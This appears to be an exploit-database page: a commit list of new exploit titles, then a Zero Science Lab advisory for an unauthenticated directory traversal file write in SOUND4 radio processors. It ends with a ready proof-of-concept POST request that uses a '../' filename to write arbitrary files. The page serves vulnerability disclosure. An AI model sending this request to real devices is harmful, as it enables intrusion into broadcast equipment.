9b56e8731e
25 changes to exploits/shellcodes/ghdb EQ Enterprise management system v2.2.0 - SQL Injection qubes-mirage-firewall v0.8.3 - Denial Of Service (DoS) ASKEY RTF3505VW-N1 - Privilege Escalation Bangresto 1.0 - SQL Injection Bludit 3-14-1 Plugin 'UploadPlugin' - Remote Code Execution (RCE) (Authenticated) Cacti v1.2.22 - Remote Command Execution (RCE) Judging Management System v1.0 - Authentication Bypass Judging Management System v1.0 - Remote Code Execution (RCE) rconfig 3.9.7 - Sql Injection (Authenticated) Senayan Library Management System v9.0.0 - SQL Injection Spitfire CMS 1.0.475 - PHP Object Injection Textpattern 4.8.8 - Remote Code Execution (RCE) (Authenticated) WooCommerce v7.1.0 - Remote Code Execution(RCE) CoolerMaster MasterPlus 1.8.5 - 'MPService' Unquoted Service Path SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Denial Of Service (DoS) SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Authorization Bypass (IDOR) SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Authentication Bypass SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Cross-Site Request Forgery SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Directory Traversal File Write Exploit SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Remote Command Execution (RCE) SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Unauthenticated Factory Reset SOUND4 Server Service 4.1.102 - Local Privilege Escalation macOS/x64 - Execve Null-Free Shellcode
80 lines
No EOL
2.9 KiB
Text
80 lines
No EOL
2.9 KiB
Text
# Exploit Title: SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Directory Traversal File Write Exploit
|
|
# Exploit Author: LiquidWorm
|
|
|
|
Vendor: SOUND4 Ltd.
|
|
Product web page: https://www.sound4.com | https://www.sound4.biz
|
|
Affected version: FM/HD Radio Processing:
|
|
Impact/Pulse/First (Version 2: 1.1/2.15)
|
|
Impact/Pulse/First (Version 1: 2.1/1.69)
|
|
Impact/Pulse Eco 1.16
|
|
Voice Processing:
|
|
BigVoice4 1.2
|
|
BigVoice2 1.30
|
|
Web-Audio Streaming:
|
|
Stream 1.1/2.4.29
|
|
Watermarking:
|
|
WM2 (Kantar Media) 1.11
|
|
|
|
Summary: The SOUND4 IMPACT introduces an innovative process - mono and
|
|
stereo parts of the signal are processed separately to obtain perfect
|
|
consistency in terms of both sound and level. Therefore, in moving
|
|
reception, when the FM receiver switches from stereo to mono and back to
|
|
stereo, the sound variations and changes in level are reduced by over 90%.
|
|
In the SOUND4 IMPACT processing chain, the stereo expander can be used
|
|
substantially without any limitations.
|
|
|
|
With its advanced functionalities and impressive versatility, SOUND4
|
|
PULSE gives clients the ultimate price - performance ratio, providing
|
|
much more than just a processor. Flexible and powerful, it ensures perfect
|
|
sound quality and full compatibility with radio broadcasting standards
|
|
and can be used simultaneously for FM and HD, DAB, DRM or streaming.
|
|
|
|
SOUND4 FIRST provides all the most important functionalities you need
|
|
in an FM/HD processor and sets the bar high both in terms of performance
|
|
and affordability. Designed to deliver a sound of uncompromising quality,
|
|
this tool gives you 2-band processing, a digital stereo generator and an
|
|
IMPACT Clipper.
|
|
|
|
Desc: The application suffers from an unauthenticated directory traversal
|
|
file write vulnerability. Input passed through the 'filename' POST parameter
|
|
called by the 'upgrade.php' script is not properly verified before being used
|
|
to upload .upgbox Firmware files. This can be exploited to write to arbitrary
|
|
locations on the system via directory traversal attacks.
|
|
|
|
Tested on: Apache/2.4.25 (Unix)
|
|
OpenSSL/1.0.2k
|
|
PHP/7.1.1
|
|
GNU/Linux 5.10.43 (armv7l)
|
|
GNU/Linux 4.9.228 (armv7l)
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
Macedonian Information Security Research and Development Laboratory
|
|
Zero Science Lab - https://www.zeroscience.mk - @zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2022-5730
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5730.php
|
|
|
|
|
|
26.09.2022
|
|
|
|
--
|
|
|
|
|
|
POST /cgi-bin/upload.cgi HTTP/1.1
|
|
Host: RAAAADIOOO
|
|
Content-Type: multipart/form-data; boundary=----zzzzz
|
|
User-Agent: TheViewing/05
|
|
Accept-Encoding: gzip, deflate
|
|
|
|
------zzzzz
|
|
Content-Disposition: form-data; name="upgfile"; filename="../../../../../../../tmp/pwned"
|
|
Content-Type: application/octet-stream
|
|
|
|
t00t
|
|
------zzzzz
|
|
Content-Disposition: form-data; name="submit"
|
|
|
|
Do it
|
|
------zzzzz-- |